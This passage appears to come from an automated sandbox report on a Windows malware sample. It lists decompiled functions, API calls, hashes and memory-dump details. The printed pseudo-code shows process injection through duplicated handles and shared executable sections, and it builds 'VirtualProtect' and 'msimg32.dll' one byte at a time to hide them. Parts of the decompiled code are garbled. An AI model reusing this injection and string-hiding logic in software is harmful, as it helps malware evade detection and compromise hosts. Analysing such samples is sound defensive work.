									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401585() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0040960C Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00409621

Memory Dump Source

Source File: 00000004.00000002.445261853.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 09f22faac0721d9c0642c1e333a23e5b630d9d61be688de119dcc45828a166dd
Instruction ID: 434ace90fe230b908a171d0327d9db3b2b2912f8a1fc2f578f0acd5ba4696e9b
Opcode Fuzzy Hash: 09f22faac0721d9c0642c1e333a23e5b630d9d61be688de119dcc45828a166dd
Instruction Fuzzy Hash: FAD05E32A943459ADB109F75AD09B623BDCD388395F008436F91DC6290F6B4D9418A48

Uniqueness

Uniqueness Score: -1.00%

Function 004090E1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 004090E3

Part of subcall function 0040906F: RtlEncodePointer.NTDLL(?), ref: 004090D6

Memory Dump Source

Source File: 00000004.00000002.445261853.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 9786210163ad4483c0a19228d0951d229a32f2fe618db9620de7aae7b9d0445c
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E677 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E69D

Part of subcall function 0040E4C2: __fltout2.LIBCMT ref: 0040E4EE

__cftog_l.LIBCMT ref: 0040E6C3
__cftoe_l.LIBCMT ref: 0040E6F5

Memory Dump Source

Source File: 00000004.00000002.445261853.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: acc13cb3f66903cd5af19021ab7f63e6ce0173ce80a6ae777747199e4b011bbd
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 2E11873240014EBBCF125E86DC01CEE3F22BB28354F588826FA19651B0C63BC971AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D804.exePID: 2560, Parent PID: 3452COMMON

Executed Functions

Function 024A57C6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 024A57EE
Module32First.KERNEL32(00000000,00000224), ref: 024A580E

Memory Dump Source

Source File: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, Offset: 024A5000, based on PE: false

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 59c8784828b027e0dadbf9fc696cad635eaa7216c3f7843c28592d7586d10c1a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 08F09635A00710AFE7203BF5A99DB6FB6E8BF59625F50052EE642A11C0DB70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 004037B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004037B0() {
				long _v4;
				struct HINSTANCE__* _t2;
				int _t6;
				long* _t11;

				_t2 = GetModuleHandleW(L"kernel32.dll");
				 *0x6e3f54 = _t2;
				 *0x4a8718 = 0x56;
				 *0x4a8719 = 0x69;
				 *0x4a871a = 0x72;
				 *0x4a871f = 0x50;
				 *0x4a8725 = 0x74;
				 *0x4a8726 = 0;
				 *0x4a871b = 0x74;
				 *0x4a871c = 0x75;
				 *0x4a871d = 0x61;
				 *0x4a871e = 0x6c;
				 *0x4a8720 = 0x72;
				 *0x4a8721 = 0x6f;
				 *0x4a8722 = 0x74;
				 *0x4a8723 = 0x65;
				 *0x4a8724 = 0x63;
				 *0x6e3ecc = GetProcAddress(_t2, "msimg32.dll");
				 *_t11 = 0x20;
				 *_t11 =  *_t11 + 0x20;
				_t6 = VirtualProtect( *0x6e3ed4,  *0x6e3f64,  *_t11,  &_v4); // executed
				return _t6;
			}

0x004037b8
0x004037c8
0x004037cd
0x004037d4
0x004037db
0x004037e1
0x004037e8
0x004037ee
0x004037f5
0x004037fb
0x00403802
0x00403809
0x00403810
0x00403816
0x0040381d
0x00403823
0x0040382a
0x00403837
0x0040383c
0x00403843
0x0040385d
0x00403866

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004037B8
GetProcAddress.KERNEL32(00000000,msimg32.dll), ref: 00403831
VirtualProtect.KERNELBASE(?,?,?,?), ref: 0040385D

Strings

kernel32.dll, xrefs: 004037B3
msimg32.dll, xrefs: 004037C2

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: kernel32.dll$msimg32.dll
API String ID: 2099061454-2650206847
Opcode ID: 124555e7ad95f8719101805b3ecb5b83ee2b74dccfd0bca43128f0f36cf34cf3
Instruction ID: 220982f9271fec6e2f9cdb8e9e3549448d6724f87ed883cb96503a839b0b6787
Opcode Fuzzy Hash: 124555e7ad95f8719101805b3ecb5b83ee2b74dccfd0bca43128f0f36cf34cf3
Instruction Fuzzy Hash: 5C1130284093C0DED701DB28BD887467FD1D72B305F28406DD0844B7B2DABA0618CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 004033B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004033B0() {
				struct HINSTANCE__* _t2;

				 *0x4a8721 = 0x6c;
				 *0x4a871b = 0x6d;
				 *0x4a871a = 0x69;
				 *0x4a871c = 0x67;
				 *0x4a8720 = 0x64;
				 *0x4a8723 = 0;
				 *0x4a871d = 0x33;
				 *0x4a8719 = 0x73;
				 *0x4a8722 = 0x6c;
				 *0x4a871f = 0x2e;
				 *0x4a871e = 0x32;
				 *0x4a8718 = 0x6d; // executed
				_t2 = LoadLibraryA("msimg32.dll"); // executed
				return _t2;
			}

0x004033b9
0x004033bf
0x004033c4
0x004033cb
0x004033d2
0x004033d9
0x004033e0
0x004033e7
0x004033ee
0x004033f4
0x004033fb
0x00403402
0x00403407
0x0040340d

APIs

LoadLibraryA.KERNELBASE(msimg32.dll), ref: 00403407

Strings

msimg32.dll, xrefs: 004033B4, 00403402

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: LibraryLoad
String ID: msimg32.dll
API String ID: 1029625771-3287713914
Opcode ID: c3c2bea0d01c06cc3841a5f82a3804882b1e5a42de500ce487c9b66f1e353bca
Instruction ID: 4e5d783052f60bda0df7b56e7cbb70adfae53de36c8798ba156ada8f6ba1d1c1
Opcode Fuzzy Hash: c3c2bea0d01c06cc3841a5f82a3804882b1e5a42de500ce487c9b66f1e353bca
Instruction Fuzzy Hash: 34F0220954E2C0C9EB02C768BC997416E95D327648F7850ADC0841AAB3DABA0259CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0040960C Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040960C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4a80fc = _t6;
				if(_t6 != 0) {
					 *0x6ea6e4 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00409621
0x00409627
0x0040962e
0x00409635
0x0040963b
0x00409631
0x00409631
0x00409631

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00404D4E,00000001), ref: 00409621

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 38df6c179935bd1fa76154077a3d4bc785299ac66b0c3571c0bfb3908043a63b
Instruction ID: a71839ac07c9d91d89e70df9d021a49538188914453e7de51bb5f7a12f18e320
